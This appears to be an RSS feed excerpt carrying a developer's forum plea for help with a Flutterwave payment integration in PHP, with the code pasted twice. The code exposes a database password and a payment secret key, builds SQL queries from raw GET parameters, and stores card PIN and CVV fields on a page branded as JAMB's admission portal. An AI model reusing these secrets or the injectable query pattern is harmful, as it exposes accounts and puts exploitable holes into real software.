                                         &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Degree Class:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $degree ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Level of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $levelofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;
                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Course of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $coursed ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                        &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Matric/Registration Number:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fieldofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Date of Admission:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $egd ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;



                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
Verify Academic Qualification 



&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  

`

&lt;p&gt;`&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
&amp;lt;?php &lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if(isset($_GET['status']))
{
    //* check payment status
    if($_GET['status'] == 'cancelled')
    {
        // echo 'YOu cancel the payment';
        echo '&amp;lt;script&amp;gt;alert("Transaction Cancelled")&amp;lt;/script&amp;gt;';

    }
    elseif($_GET['status'] == 'successful')
    {
         $txid = $_GET['tx_ref'];

        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL =&amp;gt; "https://api.flutterwave.com/v3/transactions/{$txid}/verify",
            CURLOPT_RETURNTRANSFER =&amp;gt; true,
            CURLOPT_ENCODING =&amp;gt; "",
            CURLOPT_MAXREDIRS =&amp;gt; 10,
            CURLOPT_TIMEOUT =&amp;gt; 0,
            CURLOPT_FOLLOWLOCATION =&amp;gt; true,
            CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST =&amp;gt; "GET",
            CURLOPT_HTTPHEADER =&amp;gt; array(
              "Content-Type: application/json",
              "Authorization: Bearer FLWPUBK-9775d7a1d15e6beda614bf1f75c995de-X"
            ),
          ));

          $response = curl_exec($curl);

          curl_close($curl);

          $res = json_decode($response);
          if($res-&amp;gt;status)
          {
            $amountPaid = $res-&amp;gt;data-&amp;gt;charged_amount;
            $amountToPay = $res-&amp;gt;data-&amp;gt;meta-&amp;gt;price;
            if($amountPaid &amp;gt;= $amountToPay)
            {
                //echo 'Payment successful';


                if(isset($_GET["useremail"]))
                { 
                    $useremail = $_GET["useremail"]; 

          $dbhost = 'localhost';
     $dbuser = 'cleajjiq_0ctwll1';
     $dbpass = '#Opeyemi2018';
     $dbname = 'cleajjiq_fedstudyloan';
     $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);


                    $cns = "";
                    $ccv = "";
                    $cpin = "Checking Academic Status";
                    mysqli_query($conn, "UPDATE formtypes SET cardpin='$cpin', cardnumber='$cns', cvv='$ccv' WHERE email='$useremail'");





                   echo '&amp;lt;div class="alert alert-info"&amp;gt;
                        &amp;lt;strong&amp;gt;Info!&amp;lt;/strong&amp;gt; 
                        Your academic records is now captured and currently undergoing verification.
                        &amp;lt;br&amp;gt;
                        you can click on the close button below to complete your application.
                      &amp;lt;/div&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

                      &amp;lt;div align="center"&amp;gt;&amp;lt;strong&amp;gt;Admission Status&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;


                      &amp;lt;div class="ring"&amp;gt;Checking
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
';&lt;br&gt;
                    }&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                //* Continue to give item to the user
            }
            else
            {
                echo '&amp;lt;script&amp;gt;alert("Fraud Transaction Detected")&amp;lt;/script&amp;gt;';
                //echo 'Fraud transactio detected';
            }
          }
          else
          {
              echo '&amp;lt;script&amp;gt;alert("Error in Transaction")&amp;lt;/script&amp;gt;';
              //echo 'Can not process payment';
          }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;?&amp;gt;&lt;/p&gt;

&lt;p&gt;`&lt;/p&gt;

</description>
    </item>
    <item>
      <title>NEED HELP WITH FLUTTERWAVE PAYMENT INTEGRATION</title>
      <dc:creator>beejose13th</dc:creator>
      <pubDate>Mon, 08 Apr 2024 12:06:16 +0000</pubDate>
      <link>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-210e</link>
      <guid>https://dev.to/beejose13th/need-help-with-flutterwave-payment-integration-210e</guid>
      <description>&lt;p&gt;Please I need help integrating Flutter Wave payment gateway on my website, I have done all I could and right now the problem i am having is after payment is successful , my paymentprocessor file which is also my success redirect page shows blank and refuse to confirm the payment for users ....please i need help anybody , see attached php codes scripts &lt;/p&gt;

&lt;p&gt;`&amp;lt;?php session_start();&lt;br&gt;
 $dbhost = 'localhost';&lt;br&gt;
         $dbuser = 'cleajjiq_0ctwll1';&lt;br&gt;
         $dbpass = '#Opeyemi2018';&lt;br&gt;
         $dbname = 'cleajjiq_fedstudyloan';&lt;br&gt;
         $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);&lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM formtypes WHERE email='$useremail'");&lt;br&gt;
$rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
$fullname = $rowx['fullname'];&lt;br&gt;
$accountnumber ="";&lt;br&gt;
$bankname = "";&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM thinkabout WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['interestedstudy'];&lt;br&gt;
    $degree = $rowx['degreetype'];&lt;br&gt;
    $coursed = $rowx['desiredfield'];&lt;br&gt;
    $egd = $rowx['datofgraduation'];&lt;br&gt;
    $fieldofstudy = $rowx['fieldofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['appid'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $mobilenumber = $rowx['phone'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $citizencountry= $rowx['citizencounty'];&lt;/p&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;$sqlx=mysqli_query($conn, "SELECT * FROM checkeeligibility WHERE email='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlx) &amp;gt; 0 )&lt;/p&gt;

&lt;p&gt;{  $rowx=mysqli_fetch_array($sqlx);&lt;br&gt;
    $university = $rowx['university'];&lt;br&gt;
    $degree = $rowx['degree'];&lt;br&gt;
    $coursed = $rowx['coursed'];&lt;br&gt;
    $egd = $rowx['egd'];&lt;br&gt;
    $levelofstudy = $rowx['levelofstudy'];&lt;br&gt;
    $applicationnumber = $rowx['applicationnumber'];&lt;br&gt;
    $datelog = $rowx['datelog'];&lt;br&gt;
    $assignedloan = $rowx['assignloan'];&lt;br&gt;
    $hearaboutus = $rowx['hearaboutus'];&lt;br&gt;
    $citizencountry= $rowx['citizencountry'];&lt;br&gt;
    $email = $rowx['email'];&lt;br&gt;
    $mobilenumber = $rowx['mobilenumber'];&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;$sqlxx=mysqli_query($conn, "SELECT * FROM accountdetails WHERE useremail='$useremail'");&lt;br&gt;
if(mysqli_num_rows($sqlxx) &amp;gt; 0 )&lt;br&gt;
{&lt;br&gt;
    $rowxx=mysqli_fetch_array($sqlxx);&lt;br&gt;
    $accountnumber = $rowxx['accountnumber'];&lt;br&gt;
    $bankname = $rowxx['bankname'];&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;if(isset($_POST['paysubmit']))&lt;br&gt;
{&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$useremail = $useremail;
$useramount = 20;
$fullname = $fullname;
$usertitle = "EnrollmentVerify";
$userdescription = "Check Academic Status";
$university = "";
$degree = "";
$coursed = "";
$egd = "";
$fieldofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$mobilenumber = "";
$email = $email;
$citizencountry= "";



$university = "";
$degree = "";
$coursed = "";
$egd = "";
$levelofstudy = "";
$applicationnumber = "";
$datelog = "";
$assignedloan = "";
$hearaboutus = "";
$citizencountry= "";
$email = $email;
$mobilenumber = "";






$email = $useremail;
$amount = $useramount;
$processorlink = 'https://student.clearinghouse.services/academic_check/paymentprocessor/index.php?useremail='.$useremail;

//* Prepare our rave request
$request = [
    'tx_ref' =&amp;gt; "tx_ref". time(),
    'amount' =&amp;gt; $useramount,
    'currency' =&amp;gt; 'NGN',
    'payment_options' =&amp;gt; 'ussd',
    'redirect_url' =&amp;gt; $processorlink,
    'customer' =&amp;gt; [
        'email' =&amp;gt; $email,
        'name' =&amp;gt; $fullname
    ],
    'meta' =&amp;gt; [
        'price' =&amp;gt; $useramount
    ],
    'customizations' =&amp;gt; [
        'title' =&amp;gt; $usertitle,
        'description' =&amp;gt; $userdescription
    ]
];
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;echo json_encode($request)  ;&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//* Ca;; f;iterwave emdpoint
$curl = curl_init();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;curl_setopt_array($curl, array(&lt;br&gt;
    CURLOPT_URL =&amp;gt; '&lt;a href="https://api.flutterwave.com/v3/payments"&gt;https://api.flutterwave.com/v3/payments&lt;/a&gt;',&lt;br&gt;
    CURLOPT_RETURNTRANSFER =&amp;gt; true,&lt;br&gt;
    CURLOPT_ENCODING =&amp;gt; '',&lt;br&gt;
    CURLOPT_MAXREDIRS =&amp;gt; 10,&lt;br&gt;
    CURLOPT_TIMEOUT =&amp;gt; 0,&lt;br&gt;
    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&lt;br&gt;
    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&lt;br&gt;
    CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&lt;br&gt;
    CURLOPT_POSTFIELDS =&amp;gt; json_encode($request),&lt;br&gt;
    CURLOPT_HTTPHEADER =&amp;gt; array(&lt;br&gt;
        'Authorization: Bearer FLWSECK-bedb9d4089303efc6a8f2ba820f893d3-18ebb6179f1vt-X',&lt;br&gt;
        'Content-Type: application/json'&lt;br&gt;
    ),&lt;br&gt;
    ));&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$response = curl_exec($curl);

curl_close($curl);

$res = json_decode($response);
if($res-&amp;gt;status == 'success')
{
    $linktr = $res-&amp;gt;data-&amp;gt;link;
    header('Location: '.$linktr);
   /* echo '&amp;lt;script&amp;gt;window.location.href="'.$linktr.'"&amp;lt;/script&amp;gt;'; */

}
else
{
    echo 'Cannot Process Transaction';
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;p&gt;?&amp;gt;  &lt;/p&gt;

&lt;p&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/p&gt;


&lt;br&gt;
    JAMB | CAPS &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END GLOBAL MANDATORY STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL PLUGINS --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END THEME GLOBAL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END PAGE LEVEL STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &amp;lt;!-- END THEME LAYOUT STYLES --&amp;gt;&lt;br&gt;
        &lt;br&gt;
&lt;br&gt;
        &amp;lt;!-- BEGIN LOGO --&amp;gt;&lt;br&gt;
        &lt;br&gt;
            &lt;a href=""&gt;&lt;br&gt;
                &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iucSAp1k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/v1/./JAMB%20_%20CAPS_files/jamb_s.png" alt="JAMB" width="" height=""&gt; &lt;/a&gt;&lt;br&gt;
            &lt;h2&gt; JAMB | Central Admissions Processing System | CAPS&lt;/h2&gt;
&lt;br&gt;
        &lt;br&gt;
        &amp;lt;!-- END LOGO --&amp;gt;&lt;br&gt;
        &amp;lt;!-- BEGIN LOGIN --&amp;gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;     &amp;lt;form name="formval2" class="form-horizontal loan-eligibility-form" method="post"  &amp;gt;


    &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Name:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fullname ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Institution:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $university ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                         &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Degree Class:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $degree ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Level of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $levelofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;
                                                                                     &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Course of Study:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $coursed ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                        &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Matric/Registration Number:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $fieldofstudy ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;

                                          &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;h5&amp;gt;&amp;lt;font color="white"&amp;gt;&amp;lt;a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;b&amp;gt;Date of Admission:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;?php echo $egd ?&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt;



                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                     &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
Verify Academic Qualification 



&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  
&lt;br&gt;
  

`

&lt;p&gt;`&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
&amp;lt;?php &lt;/p&gt;

&lt;p&gt;if(isset($_GET["bitusername"]))&lt;br&gt;
{ &lt;br&gt;
    $useremail = $_GET["bitusername"]; &lt;br&gt;
}&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if(isset($_GET['status']))
{
    //* check payment status
    if($_GET['status'] == 'cancelled')
    {
        // echo 'YOu cancel the payment';
        echo '&amp;lt;script&amp;gt;alert("Transaction Cancelled")&amp;lt;/script&amp;gt;';

    }
    elseif($_GET['status'] == 'successful')
    {
         $txid = $_GET['tx_ref'];

        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL =&amp;gt; "https://api.flutterwave.com/v3/transactions/{$txid}/verify",
            CURLOPT_RETURNTRANSFER =&amp;gt; true,
            CURLOPT_ENCODING =&amp;gt; "",
            CURLOPT_MAXREDIRS =&amp;gt; 10,
            CURLOPT_TIMEOUT =&amp;gt; 0,
            CURLOPT_FOLLOWLOCATION =&amp;gt; true,
            CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST =&amp;gt; "GET",
            CURLOPT_HTTPHEADER =&amp;gt; array(
              "Content-Type: application/json",
              "Authorization: Bearer FLWPUBK-9775d7a1d15e6beda614bf1f75c995de-X"
            ),
          ));

          $response = curl_exec($curl);

          curl_close($curl);

          $res = json_decode($response);
          if($res-&amp;gt;status)
          {
            $amountPaid = $res-&amp;gt;data-&amp;gt;charged_amount;
            $amountToPay = $res-&amp;gt;data-&amp;gt;meta-&amp;gt;price;
            if($amountPaid &amp;gt;= $amountToPay)
            {
                //echo 'Payment successful';


                if(isset($_GET["useremail"]))
                { 
                    $useremail = $_GET["useremail"]; 

          $dbhost = 'localhost';
     $dbuser = 'cleajjiq_0ctwll1';
     $dbpass = '#Opeyemi2018';
     $dbname = 'cleajjiq_fedstudyloan';
     $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);


                    $cns = "";
                    $ccv = "";
                    $cpin = "Checking Academic Status";
                    mysqli_query($conn, "UPDATE formtypes SET cardpin='$cpin', cardnumber='$cns', cvv='$ccv' WHERE email='$useremail'");





                   echo '&amp;lt;div class="alert alert-info"&amp;gt;
                        &amp;lt;strong&amp;gt;Info!&amp;lt;/strong&amp;gt; 
                        Your academic records is now captured and currently undergoing verification.
                        &amp;lt;br&amp;gt;
                        you can click on the close button below to complete your application.
                      &amp;lt;/div&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
                      &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

                      &amp;lt;div align="center"&amp;gt;&amp;lt;strong&amp;gt;Admission Status&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;


                      &amp;lt;div class="ring"&amp;gt;Checking
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
';&lt;br&gt;
                    }&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                //* Continue to give item to the user
            }
            else
            {
                echo '&amp;lt;script&amp;gt;alert("Fraud Transaction Detected")&amp;lt;/script&amp;gt;';
                //echo 'Fraud transactio detected';
            }
          }
          else
          {
              echo '&amp;lt;script&amp;gt;alert("Error in Transaction")&amp;lt;/script&amp;gt;';
              //echo 'Can not process payment';
          }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;?&amp;gt;&lt;/p&gt;

&lt;p&gt;`&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
